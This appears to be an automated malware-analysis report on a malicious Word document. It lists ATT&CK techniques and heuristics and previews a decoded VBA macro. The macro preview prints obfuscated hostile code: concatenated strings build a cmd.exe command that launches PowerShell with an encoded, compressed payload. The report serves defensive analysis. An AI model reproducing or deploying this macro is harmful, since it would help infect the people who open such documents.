MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The macro uses the Shell() function to execute a command, which is heavily obfuscated through string concatenation. The reconstructed command appears to set environment variables and then execute 'cmd.exe' with various parameters, likely to download and run a secondary payload.
Heuristics 6
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 75,370 bytes but its declared streams total only 35,461 bytes — 39,909 bytes (53%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13304 bytes |
SHA-256: 73c00e40d44cc22d688cc2deb91968d09f88ba6aad21652ac6d6db5def08c06e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "jjzQflwz" Function VDwCbH() On Error Resume Next mRZjf = CStr(uEMzAO * Tan(XwMTia * Int(hRUWlT * Sqr(70512) / sJvdOK + Fix(32352)) / 50413 * Round(94142 / Log(95439 - EiaLW) + 99206 - OkDPW)) / 67382 + CByte(10046)) FrYWUzj = "md ZwmpJQbMjtq" + "JT zEttfW" + "juKE" + "zILlFOLQ" aVwDv = CStr(rILCE * Tan(zhGVP * Int(QVzHG * Sqr(96230) / RFAhc + Fix(75632)) / 23425 * Round(46205 / Log(83582 - vdtCGM) + 41697 - IScUh)) / 56593 + CByte(64881)) ujPZOHwnq = "r PQiz" + "LjDjbfA & " + " " + "%^c^o^m^" + "S^p" + "^E^c^% " + "%^c^o^m^S^p^E^" + "c^% " + " /V " ASjYS = CStr(wjdGr * Tan(iPszHw * Int(sWTKI * Sqr(56451) / zfuzXW + Fix(371)) / 55108 * Round(74959 / Log(88032 - SShiMZ) + 98767 - uftad)) / 23601 + CByte(70632)) MifXsziGAk = " /c " + " " + " set " + "%zEHBXFwz" pdjHa = CStr(ZQTmfj * Tan(aGcwK * Int(idOJuL * Sqr(76183) / NEFQln + Fix(8978)) / 21106 * Round(98390 / Log(12038 - OXtQLZ) + 88111 - ATZQc)) / 36425 + CByte(44854)) ZrmtMbKCfO = "HpCckJH%=aafft" + "bYi" + "o&&set" + " %Ncaas" + "Jirtvqd%=p&&se" + "t %zoHsCCVGF" obTmw = CStr(MLLOVu * Tan(PPGWMw * Int(lNDkA * Sqr(90059) / OnoczO + Fix(62535)) / 31455 * Round(68899 / Log(60874 - pbLhE) + 93641 - zUkDS)) / 89231 + CByte(30029)) oTKZPvUS = "YI%=o" + "^w&" + "&set %KwUmjB" + "SiECEDkiJ%" + "=SjnM" + "oznD&&set %iz" + "kCpaLTE%=!%" + "NcaasJirt" + "vqd%!&&set %T" VDwCbH = FrYWUzj + ujPZOHwnq + MifXsziGAk + ZrmtMbKCfO + oTKZPvUS End Function Function tqwEiEHjK() On Error Resume Next GVaYj = CStr(BAzYXl * Tan(fPzjb * Int(XVFDI * Sqr(12168) / AaBKUt + Fix(25696)) / 52634 * Round(15233 / Log(21250 - LwhnaN) + 18002 - LfTElX)) / 83503 + CByte(84692)) PKudZpjjPt = "cJwzGVf" + "ZMM" + "JiLb%=jzjHC" + "LprWTbsl&&se" + "t %QGfZhjcu%=e" + "^r&&s" + "et %fsDCGj" + "tBEJ%=!%zo" BARSRD = CStr(bwmDdY * Tan(YEKUfU * Int(urubvA * Sqr(63267) / QmdBU + Fix(50651)) / 14345 * Round(86834 / Log(44554 - swMcbG) + 7732 - jvAbDM)) / 45437 + CByte(16481)) OwbVUJ = "HsCCVG" + "FYI" + "%!&&set " + "%OmRSqjR" + "hafE%=s&&set " + "%VAMIQSDsWizhZ" + "iX%=zhHHzc" + "qRfB&&set %K" IXrWD = CStr(FizZb * Tan(WQLma * Int(XXRQnX * Sqr(14892) / lVojR + Fix(58143)) / 23841 * Round(38000 / Log(97970 - fXpsG) + 89477 - jckMfp)) / 78236 + CByte(56105)) vwIsFvzESDq = "amYdXV%" + "=he&&set %fHE" + "SSbCDRLO%=ll&&" + "!%izkCpaL" + "TE%!!%" + "fsDCGjtBEJ" + "%!!%QGfZhjcu" zkorjU = CStr(mTktQ * Tan(zqCRp * Int(DwfRX * Sqr(79896) / uXEFj + Fix(145)) / 11844 * Round(83068 / Log(58170 - fHlLID) + 48655 - BKYft)) / 19575 + CByte(26266)) ilWfiwizNkZ = "%!!%OmRSqjRhafE" + "%!!%KamYdXV%!" + "!%fHESSbCDRLO%!" + " -e K" hZdUTR = CStr(cZriN * Tan(tKRTP * Int(KEvvt * Sqr(11240) / WiiPdt + Fix(84909)) / 63048 * Round(35211 / Log(62140 - JINFJ) + 73382 - ULRHA)) / 14229 + CByte(22828)) ozaJt = "ABOAGUAdwA" + "tAE8" + "AYgBqAGUAQwBU" + "ACAAIABzAH" + "kAUwBUA" + "GUAT" + "QAu" + "AGkATwAuAEMAT" + "wBtAFAAc" mDvmij = CStr(XvXtJ * Tan(oVXad * Int(JGJFu * Sqr(17403) / YtiOib + Fix(7260)) / 99010 * Round(14192 / Log(78480 - fBiukS) + 64920 - cDjqt)) / 63474 + CByte(43540)) VjjojLajdHK = "gBFAFMAcwBJAE" + "8AbgA" + "uAGQARQBmAEwA" + "YQB0A" + "GUAcw" + "B0AFIAZQ" tqwEiEHjK = PKudZpjjPt + OwbVUJ + vwIsFvzESDq + ilWfiwizNkZ + ozaJt + VjjojLajdHK End Function Function wjwdpvTwjYS() On Error Resume Next CXcwA = CStr(zLVtht * Tan(GOjjm * Int(cZPVrX * Sqr(60456) / brDkhH + Fix(44466)) / 3164 * Round(53135 / Log(59240 - lCBSZr) + 71488 - wWozKH)) / 72711 + CByte(89234)) VchHmjj = "BB" + "AE0AK" + "ABbAEkAb" + "wAuAE0" + "ARQBtAE" + "8Acg" + "B5AH" + "MAdABSAEUAQQB" mCkaUw = CStr(TRIzl * Tan(EmCpAs * Int(GqiGii * Sqr(20587) / stcvNr + Fix(28562)) / 49118 * Round(88304 / Log(30213 - FdzHj) + 71532 - BRCzU)) / 12809 + CByte(86247)) uSSWhGRiNIF = "NAF0AWwBzAFkAU" + "wB" + "0AGUAbQAuAGMA" + "Tw" + "BuAFYAZQ" + "ByAFQAXQA6AD" YwYir = CStr(mlbYfE * Tan(DpMIa * Int(nwGiuV * Sqr(62672) / tkuYWC + Fix(86514)) / 36616 * Round(34742 / Log(2850 - XdTsY) + 66842 - jdwbp)) / 79935 + CByte(88936)) zzRPwOS = "oAZgBSA" + "G8AbQBCAEEA" + "cwBlADYANABzAHQ" + "AcgBJAE4ARwAoAC" + "c ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.